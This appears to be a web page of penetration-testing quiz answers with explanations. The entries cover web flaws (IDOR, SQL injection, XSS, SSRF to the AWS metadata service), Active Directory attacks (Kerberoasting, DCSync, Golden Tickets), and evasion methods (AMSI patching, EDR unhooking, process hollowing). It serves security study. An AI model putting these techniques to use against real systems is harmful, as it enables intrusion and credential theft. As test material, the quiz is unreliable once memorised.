Penetration Testing MCQ 60 Tests With Answers (2026)

Incorrect·D: An authenticated user successfully altering a URL parameter (e.g., user_id=5 to user_id=6) to view another user's private account details.

Broken Access Control (OWASP A01) occurs when applications fail to enforce proper authorization. An IDOR (Insecure Direct Object Reference) — manipulating user_id=5 to user_id=6 to see another user's data — is the canonical example. The application authenticates the user but doesn't verify they own the requested resource.

Incorrect·C: It sends a SYN packet, waits for a SYN/ACK, and then sends an RST to tear down the connection before it is fully established, preventing the target application from logging the connection.

The SYN scan (half-open scan) never completes the TCP handshake. It sends SYN, receives SYN/ACK (confirming the port is open), then sends RST to abort — never reaching the application layer. Many logging systems only record fully established connections, making SYN scans harder to detect.

Incorrect·A: Intruder is used for automated, customized fuzzing and brute-forcing across multiple requests, while Repeater is used to manually manipulate and resend individual HTTP requests.

Burp Repeater allows manual, iterative request manipulation — ideal for testing a single parameter. Burp Intruder automates payload injection across multiple positions in a request (fuzzing, brute-forcing logins, testing all parameters simultaneously) using customizable payload lists and attack types.

Incorrect·B: It combines the results of the application's original query with the results of an injected malicious query, returning the combined dataset directly into the application's HTTP response.

UNION-based SQLi appends a second SELECT statement to the original query using the UNION operator. The database combines both result sets and returns them in the HTTP response. This requires the injected query to match the same number and data types of columns as the original query.

Incorrect·B: Stored XSS permanently saves the malicious script on the target server (e.g., in a forum post) serving it to future visitors, while Reflected XSS executes immediately and requires the victim to click a specially crafted malicious link.

Stored (Persistent) XSS saves the payload server-side — every user who views the infected page is attacked without any interaction. Reflected XSS requires tricking a specific victim into clicking a crafted URL containing the payload, which the server reflects back the victim's browser executes.

Incorrect·C: It appends each word from one wordlist to every word in a second wordlist (e.g., combining "admin" and "password" to test "adminpassword").

Hashcat's Combinator attack (attack mode -a 1) takes two wordlists and generates candidates by appending every word from list2 to every word from list1. This is effective against users who create passwords by concatenating two common words (e.g., 'sunflower' + 'summer' = 'sunflowersummer').

Incorrect·D: To utilize graph theory to visually map complex Active Directory relationships, group delegations, and hidden privilege escalation paths.

BloodHound uses graph theory (nodes and edges) to represent Active Directory objects and their relationships. Paired with the SharpHound collector, it maps attack paths from a low-privilege user account to Domain Admin — revealing delegation misconfigurations, group policy abuse, and hidden privilege chains invisible in raw AD data.

Incorrect·A: Authenticating to a remote Windows system by supplying the valid NTLM hash of a user's password to the authentication protocol, completely bypassing the need to know or crack the actual plaintext password.

Pass-the-Hash exploits the Windows NTLM authentication protocol, which accepts the password hash directly as proof of identity without requiring the plaintext password. Using tools like Mimikatz or impacket's psexec.py, an attacker can authenticate to remote systems using only the extracted hash.

Incorrect·C: To capture the cryptographic nonce exchange during a client's connection process, allowing the attacker to attempt to crack the Pre-Shared Key (PSK) offline.

The WPA2 4-way handshake exchanges nonces (ANonce and SNonce) between the AP and client. Capturing this handshake allows the attacker to perform offline dictionary/brute-force attacks against the Pre-Shared Key using tools like hashcat or aircrack-ng, without maintaining a live connection to the network.

Incorrect·A: It operates entirely in memory using reflective DLL injection, writing nothing to the physical disk to avoid triggering traditional static antivirus file scans.

Meterpreter is injected into a running process via reflective DLL injection and operates entirely in RAM. Because it never writes to disk as a standalone executable, it evades traditional signature-based AV that scans files. It also provides an encrypted channel and rich post-exploitation modules.

Incorrect·B: It allows the executable to run with the permissions of the file's owner (often root), which can be abused to gain a root shell if the binary is poorly configured or vulnerable.

The SUID (Set User ID) bit causes a binary to execute with the permissions of its owner rather than the invoking user. If a root-owned binary with SUID has a vulnerability (e.g., a shell escape, unsafe path handling, or a command injection), any user can exploit it to gain a root shell.

Incorrect·D: The file path to a service executable contains spaces and lacks enclosing quotation marks, causing the Windows API to mistakenly execute a maliciously placed binary in a parent directory with a matching name.

When a Windows service path like `C:\Program Files\My App\service.exe` lacks quotes, the SCM attempts to execute `C:\Program.exe`, then `C:\Program Files\My.exe`, etc. If an attacker places a binary at any of these intermediate paths with write permissions, they gain SYSTEM execution when the service restarts.

Incorrect·A: Manipulating a web application's file path parameter (e.g., using ../../../../etc/passwd) to navigate outside the intended web root and access sensitive local files.

LFI exploits insufficient input validation on file path parameters. By injecting `../../../../etc/passwd` (or null bytes, encoded variations), an attacker traverses outside the web root to read sensitive local files. In severe cases, LFI combined with log poisoning can achieve Remote Code Execution.

Incorrect·B: Tricking the vulnerable backend server into making HTTP requests to internal or external resources on behalf of the attacker, effectively bypassing external firewalls to access internal services.

SSRF abuses server-side URL fetching functionality. The attacker provides a malicious URL (e.g., http://169.254.169.254/metadata or http://internal-db:5432) causing the server to make requests on the attacker's behalf — bypassing firewalls and exposing internal services invisible from the internet.

Incorrect·C: A program that compresses and encrypts an executable payload to alter its on-disk signature and evade static antivirus detection, unpacking itself in memory during execution.

Packers compress and/or encrypt a malicious binary, producing a new executable with a completely different signature. The packed file contains a stub that, at runtime, decompresses/decrypts the original payload in memory and executes it — evading static analysis and AV signature detection while maintaining functionality.

Incorrect·D: It uploads a temporary service executable to the hidden ADMIN$ share and interacts with the Service Control Manager (SCM) using SMB to execute it.

PsExec copies a small service binary (PSEXESVC.exe) to the target's ADMIN$ share via SMB, then uses the Service Control Manager (SCM) over the IPC$ pipe to start the service, which executes commands and relays output back to the initiating machine — requiring valid admin credentials.

Incorrect·B: An unauthenticated connection to the IPC$ share that allows the attacker to anonymously enumerate network shares, users, groups, and password policies.

SMB Null Sessions (anonymous logins to IPC$) were a significant issue in legacy Windows (pre-Vista). They allowed unauthenticated enumerations via RPC calls — listing user accounts, group memberships, shares, and password policies using tools like enum4linux or rpcclient.

Incorrect·C: It poisons LLMNR, NBT-NS, and mDNS multicast requests, serving fake authentication prompts to capture NTLMv1/v2 hashes from victim machines attempting to connect to mistyped or non-existent network resources.

Responder listens for broadcast name resolution queries (LLMNR, NBT-NS, mDNS) that occur when a Windows host fails DNS resolution. It responds as the requested resource and captures the NTLM authentication hash when the victim automatically attempts to authenticate — requiring no user interaction.

Incorrect·D: An attack that forces an authenticated user's browser to execute unwanted, state-changing actions (like transferring funds or changing an email) on a vulnerable web application without their knowledge.

CSRF exploits the browser's automatic inclusion of session cookies in every request. A malicious page on a different origin triggers a request to the victim's authenticated application (e.g., bank transfer). The server sees a valid session cookie and processes the action — mitigated by CSRF tokens or SameSite cookies.

Incorrect·A: A bind shell opens a listening port on the compromised target for the attacker to connect to; a reverse shell forces the target to initiate an outbound connection back to the attacker.

A bind shell binds a shell to a port on the target and waits for the attacker to connect inbound — but inbound connections are usually blocked by firewalls. A reverse shell has the target connect outbound to the attacker's listener — typically allowed by firewalls since outbound traffic is less restricted.

Incorrect·B: Requesting Kerberos Service Principal Name (SPN) tickets (TGS) for service accounts and extracting them from memory to crack the RC4/AES encrypted ticket offline, revealing the plaintext service account password.

Any domain user can legitimately request a TGS ticket for any SPN-registered service account. The ticket is encrypted with the service account's password hash. Using Impacket's GetUserSPNs.py or Rubeus, testers extract these tickets and crack them offline with Hashcat (mode 13100) to recover the service account's plaintext password.

Incorrect·A: It specifically targets user accounts that have the "Do not require Kerberos preauthentication" attribute enabled, allowing the attacker to request and crack the AS-REP encrypted message offline without needing initial access credentials.

AS-REP Roasting targets accounts with Kerberos pre-authentication disabled. The KDC responds to unauthenticated AS-REQ packets with an AS-REP containing data encrypted with the user's password hash. This can be retrieved with zero valid credentials (just a username list) and cracked offline using Hashcat mode 18200.

Incorrect·D: It is the Instruction Pointer, which dictates the memory address of the next CPU instruction to be executed, making it the primary target for control-flow hijacking to execute shellcode.

When the stack overflows, the saved return address (which is loaded into EIP/RIP when the function returns) is overwritten. By controlling EIP/RIP to point to the attacker's shellcode (or a ROP gadget), the tester redirects the CPU's execution flow to arbitrary malicious instructions.

Incorrect·C: Chaining together small, pre-existing snippets of executable machine code ("gadgets") already present in memory to execute arbitrary logic, thereby bypassing Data Execution Prevention (DEP/NX) which blocks execution on the stack.

DEP/NX prevents executing attacker-supplied shellcode on the stack by marking it non-executable. ROP bypasses this by chaining existing 'gadgets' — legitimate code snippets ending in a `ret` instruction — already present in executable memory regions (like loaded DLLs), effectively executing arbitrary logic without injecting new code.

Incorrect·A: Patching or hooking the AmsiScanBuffer function in memory to force it to constantly return a "clean" (AMSI_RESULT_CLEAN) result to the calling process, allowing malicious PowerShell or C# to execute unhindered.

AMSI hooks into the PowerShell, .NET, and JScript engines to scan content before execution. The classic bypass patches `AmsiScanBuffer` in the current process's `amsi.dll` to alter its return value to 0 (AMSI_RESULT_CLEAN), making it approve all subsequent content regardless of maliciousness.

Incorrect·B: A configuration script that allows operators to highly customize the network indicators, beacon jitter/timing, and HTTP headers of their payload traffic to mimic legitimate applications and evade IDS/IPS detection.

Malleable C2 Profiles define how Cobalt Strike beacon traffic looks on the wire — HTTP headers, URIs, cookies, jitter timings, and data encoding. Operators can configure beacons to impersonate legitimate traffic (e.g., Microsoft Teams API calls, Google Analytics) to blend into normal traffic and defeat network-based detection.

Incorrect·D: Reloading a clean, unadulterated copy of a system DLL (like ntdll.dll) directly from disk into memory to overwrite and bypass the user-land monitoring hooks placed by the EDR agent.

EDRs hook Windows API functions in user-land DLLs (especially ntdll.dll) by patching the function prologue with a JMP to their monitoring code. Unhooking loads a fresh, unmodified copy of the DLL directly from disk (bypassing the hooked version in memory) to restore clean syscall execution that the EDR cannot intercept.

Incorrect·C: Using the Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a legitimate Domain Controller, requesting and extracting password hashes (including the KRBTGT hash) from the actual DC.

DCSync (Mimikatz lsadump::dcsync) abuses the MS-DRSR protocol, which Domain Controllers use to replicate data among themselves. An account with Replicating Directory Changes All permission can request password hash replication — allowing extraction of any domain account's hash, including KRBTGT, without touching LSASS.

Incorrect·D: A Golden Ticket is a forged TGT encrypted with the KRBTGT hash granting domain-wide access; a Silver Ticket is a forged TGS encrypted with a specific service account hash granting access only to that specific service.

A Golden Ticket forges a TGT using the KRBTGT account hash — since the KDC issues TGTs, forging one grants domain-wide access for up to 10 years. A Silver Ticket forges a TGS for a specific service using that service account's hash, bypassing the KDC entirely but limited to that one service.

Incorrect·C: Placing a malicious DLL in a directory that a vulnerable application searches first, causing the application to unknowingly load the attacker's code instead of the legitimate Windows DLL.

Windows searches for DLLs in a specific order: application directory → current directory → System32 → etc. If an application loads a DLL that doesn't exist in the application directory, and an attacker has write access to that directory, placing a malicious DLL with the matching name causes the application to load it instead.

Incorrect·A: Abusing the msDS-KeyCredentialLink attribute of a computer or user object to associate an attacker-controlled public key, allowing the attacker to request a Kerberos TGT (PKINIT) for that object.

Shadow Credentials (Whisker tool) abuses the msDS-KeyCredentialLink AD attribute used by Windows Hello for Business. With write access to this attribute on a user/computer object, an attacker adds their own public key — then uses PKINIT to authenticate as that object and obtain a TGT without knowing the password.

Incorrect·B: Spawning a legitimate process in a suspended state, unmapping (hollowing) its original code from memory, replacing it with malicious shellcode, and resuming the execution thread to disguise the malware.

Process Hollowing (RunPE) creates a legitimate process (e.g., svchost.exe) in a SUSPENDED state, uses NtUnmapViewOfSection to hollow out its memory, writes malicious code in its place, adjusts the entry point, and resumes the thread. Process monitors see a legitimate process name hiding malicious code.

Incorrect·C: A sequence of "No Operation" (\x90) instructions used to pad a buffer overflow payload, ensuring that even if the jumped return address is slightly inaccurate, the CPU will "slide" down into the actual shellcode.

A NOP sled (`\x90\x90\x90...`) precedes shellcode in a buffer overflow exploit. Because memory addresses shift slightly due to environment variables and stack randomization, the NOP sled acts as a large target — if EIP/RIP lands anywhere within the sled, the CPU executes NOPs (do nothing) and slides into the shellcode.

Incorrect·D: An attacker manipulates a serialized data object so that when the application natively reconstructs (deserializes) it, it instantiates malicious objects or unexpectedly executes arbitrary code.

Many frameworks (Java, PHP, .NET) execute code during deserialization (gadget chains). Ysoserial generates serialized Java gadget chain payloads. When the application deserializes attacker-supplied data, the crafted object graph triggers method calls culminating in RCE — without any SQL injection or XSS.

Incorrect·A: By setting the variable to force the dynamic linker to load an attacker-controlled shared library before any others, intercepting standard function calls (like geteuid()) when a vulnerable SUID binary is executed.

If a sudo rule allows a user to run a program with LD_PRELOAD preserved (env_keep += LD_PRELOAD), the attacker compiles a malicious shared library (containing a constructor calling setuid(0)/execve()) and sets LD_PRELOAD to its path before invoking the sudo command — causing the linker to load their library first and execute root code.

Incorrect·B: An attack that infers cryptographic keys or secrets by measuring physical implementation artifacts, such as execution time variations, power consumption, or electromagnetic emissions.

Side-channel attacks exploit physical information leakage from a cryptographic implementation rather than mathematical weaknesses in the algorithm itself. Examples include timing attacks (RSA key bits from decryption time variance), power analysis (AES key from CPU power traces), and SPECTRE/MELTDOWN (CPU cache timing).

Incorrect·A: By forcing the vulnerable instance to query the internal AWS metadata service (169.254.169.254) to extract the temporary IAM security credentials attached to the instance role.

The AWS IMDSv1 metadata endpoint (169.254.169.254/latest/meta-data/iam/security-credentials/) returns temporary IAM role credentials when queried from any EC2 instance. An SSRF flaw allows an external attacker to bounce a request through the server to this endpoint, stealing credentials used to pivot within the AWS account.

Incorrect·C: By utilizing a vulnerable, legitimately signed third-party driver (BYOVD attack) to execute kernel-mode code that systematically strips the protection flags from the LSASS process memory space.

RunAsPPL (Protected Process Light) prevents user-mode processes from reading LSASS memory. BYOVD (Bring Your Own Vulnerable Driver) abuses a legitimately signed but vulnerable driver (e.g., RTCore64.sys) to execute kernel-mode code that removes the PP/PPL protection flags from LSASS — allowing Mimikatz to dump it.

Incorrect·D: Exploiting discrepancies in how front-end proxies and back-end servers parse the Content-Length and Transfer-Encoding headers, allowing an attacker to "smuggle" a hidden, secondary request into the back-end.

HTTP Request Smuggling exploits inconsistent parsing between a front-end proxy and back-end server. In CL.TE, the front-end uses Content-Length while the back-end uses Transfer-Encoding. The attacker crafts a request where the discrepancy 'smuggles' a hidden request prefix that the back-end prepends to the next legitimate user's request.

Incorrect·B: Exploiting elevated privileges (like SeImpersonatePrivilege or SeDebugPrivilege) to duplicate the access token of a higher-privileged process (like SYSTEM) and applying it to the attacker's active thread or process.

Windows access tokens define the security context of a process/thread. With SeImpersonatePrivilege or SeDebugPrivilege, a lower-privileged attacker can use DuplicateTokenEx() and ImpersonateLoggedOnUser() (or Incognito/Metasploit's steal_token) to clone a SYSTEM token and apply it, effectively running as SYSTEM.